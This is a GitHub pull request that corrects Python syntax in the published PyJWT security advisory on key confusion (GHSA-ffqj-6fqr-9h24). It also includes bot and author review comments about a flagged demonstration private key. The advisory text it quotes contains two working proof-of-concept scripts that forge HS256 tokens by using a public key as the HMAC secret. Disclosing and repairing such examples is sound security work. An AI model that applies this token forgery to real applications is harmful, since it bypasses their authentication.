Skip to content

[GHSA-ffqj-6fqr-9h24] Key confusion through non-blocklisted public key formats - #11396

Open
Aneesh495 wants to merge 1 commit into
Aneesh495/advisory-improvement-11396from
Aneesh495-GHSA-ffqj-6fqr-9h24
Open

Aneesh495 wants to merge 1 commit into
Aneesh495/advisory-improvement-11396from
Aneesh495-GHSA-ffqj-6fqr-9h24

Conversation

@Aneesh495

@Aneesh495 Aneesh495 commented Nov 17, 2026 •

Copy link
Copy Markdown

Updates

  • Description

Comments
Fix invalid Python syntax in the first existing example. Assignment statements were split after '=' without continuation, wrapped comments became bare Python text, and the print statement contained non-breaking-space indentation. Preserve the demonstration's operations while repairing wrapping and indentation.

Validation: extracted both Python blocks and parsed them using Python's ast.parse. The original first block fails with an invalid U+00A0 character; both corrected blocks parse successfully. This is a syntax-only correction: runtime behavior was not re-tested because PyJWT and cryptography are not installed in the local environment. The second example and all affected versions, severity, references, and credit remain unchanged.

Prepared with Codex assistance.
Review note: the possible-secret finding points to the JSON details line containing the existing examples. The static EC private key belongs to the already-published second proof of concept, which is byte-for-byte unchanged by this PR. The repaired first example generates a fresh Ed25519 key at runtime. This syntax correction introduces no hardcoded key or application credential.

@github

github commented Nov 17, 2026

Copy link
Copy Markdown
Collaborator

Hi there @jpadilla! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.

This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

Copilot AI adaptive review requested due to automatic review settings November 17, 2026 18:23
@github-actions
github-actions Bot changed the base branch from main to Aneesh495/advisory-improvement-11396 November 17, 2026 18:24

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

A critical finding remains for a possible secret in the changed file, requiring verification and, if valid, rotation or removal from the code and Git history.

1 open issue
What changed in this PR

This pull request repairs the first embedded Python proof-of-concept in the PyJWT security advisory so it is syntactically valid while preserving the advisory's vulnerability information and demonstrated operations.

Changes:

  • Reformats multiline assignments, comments, and indentation in the first Python example.
  • Updates the advisory modification timestamp.
File Description
advisories/​github-reviewed/​2022/​05/​GHSA-ffqj-6fqr-9h24/​GHSA-ffqj-6fqr-9h24.json Repairs the first embedded Python example and updates the advisory modification timestamp.

Review effort: Lite (adaptive)

],
"summary": "Key confusion through non-blocklisted public key formats",
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n> PyJWT supports multiple different JWT signing algorithms. With JWT, an \n> attacker submitting the JWT token can choose the used signing algorithm.\n> \n> The PyJWT library requires that the application chooses what algorithms \n> are supported. The application can specify \n> \"jwt.algorithms.get_default_algorithms()\" to get support for all \n> algorithms. They can also specify a single one of them (which is the \n> usual use case if calling jwt.decode directly. However, if calling \n> jwt.decode in a helper function, all algorithms might be enabled.)\n> \n> For example, if the user chooses \"none\" algorithm and the JWT checker \n> supports that, there will be no signature checking. This is a common \n> security issue with some JWT implementations.\n> \n> PyJWT combats this by requiring that the if the \"none\" algorithm is \n> used, the key has to be empty. As the key is given by the application \n> running the checker, attacker cannot force \"none\" cipher to be used.\n> \n> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n> if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n> attacker can just use the publicly known public key to sign the token \n> and the checker would use the same key to verify.\n> \n> From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n> With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n> example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n     print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#        invalid_strings = [\n#            b\"-----BEGIN PUBLIC KEY-----\",\n#            b\"-----BEGIN CERTIFICATE-----\",\n#            b\"-----BEGIN RSA PUBLIC KEY-----\",\n#            b\"ssh-rsa\",\n#        ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#                if \"-----BEGIN PUBLIC\" in str_key:\n#                    return load_pem_public_key(key)\n#                if \"-----BEGIN PRIVATE\" in str_key:\n#                    return load_pem_private_key(key, password=None)\n#                if str_key[0:4] == \"ssh-\":\n#                    return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\nelse:\n print(\"POC Failed\")\n```\n\n> The issue is not that big as \n> algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n> However, with quick googling, this seems to be used in some cases at \n> least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n",
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n> PyJWT supports multiple different JWT signing algorithms. With JWT, an \n> attacker submitting the JWT token can choose the used signing algorithm.\n> \n> The PyJWT library requires that the application chooses what algorithms \n> are supported. The application can specify \n> \"jwt.algorithms.get_default_algorithms()\" to get support for all \n> algorithms. They can also specify a single one of them (which is the \n> usual use case if calling jwt.decode directly. However, if calling \n> jwt.decode in a helper function, all algorithms might be enabled.)\n> \n> For example, if the user chooses \"none\" algorithm and the JWT checker \n> supports that, there will be no signature checking. This is a common \n> security issue with some JWT implementations.\n> \n> PyJWT combats this by requiring that the if the \"none\" algorithm is \n> used, the key has to be empty. As the key is given by the application \n> running the checker, attacker cannot force \"none\" cipher to be used.\n> \n> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n> if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n> attacker can just use the publicly known public key to sign the token \n> and the checker would use the same key to verify.\n> \n> From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n> With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n> example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = private_key.private_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PrivateFormat.PKCS8,\n encryption_algorithm=serialization.NoEncryption(),\n)\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = private_key.public_key().public_bytes(\n encoding=serialization.Encoding.OpenSSH,\n format=serialization.PublicFormat.OpenSSH,\n)\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver into treating it as an HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if\n# they specify ed25519 public key. However, if other algorithms are used,\n# the POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#        invalid_strings = [\n#            b\"-----BEGIN PUBLIC KEY-----\",\n#            b\"-----BEGIN CERTIFICATE-----\",\n#            b\"-----BEGIN RSA PUBLIC KEY-----\",\n#            b\"ssh-rsa\",\n#        ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py:\n#\n#                if \"-----BEGIN PUBLIC\" in str_key:\n#                    return load_pem_public_key(key)\n#                if \"-----BEGIN PRIVATE\" in str_key:\n#                    return load_pem_private_key(key, password=None)\n#                if str_key[0:4] == \"ssh-\":\n#                    return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\nelse:\n print(\"POC Failed\")\n```\n\n> The issue is not that big as \n> algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n> However, with quick googling, this seems to be used in some cases at \n> least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n",

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I checked the secret-scan finding against the base revision. The EC private-key literal is an existing public demonstration fixture in the second proof of concept, unchanged by this PR. The first proof of concept generates an ephemeral key at runtime. This change only repairs the first example's formatting and does not introduce a credential.

For comparison, the same demonstration fixture is present in the base advisory at bc1b808. I compared the extracted key literal in the base and PR head and confirmed it is identical.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants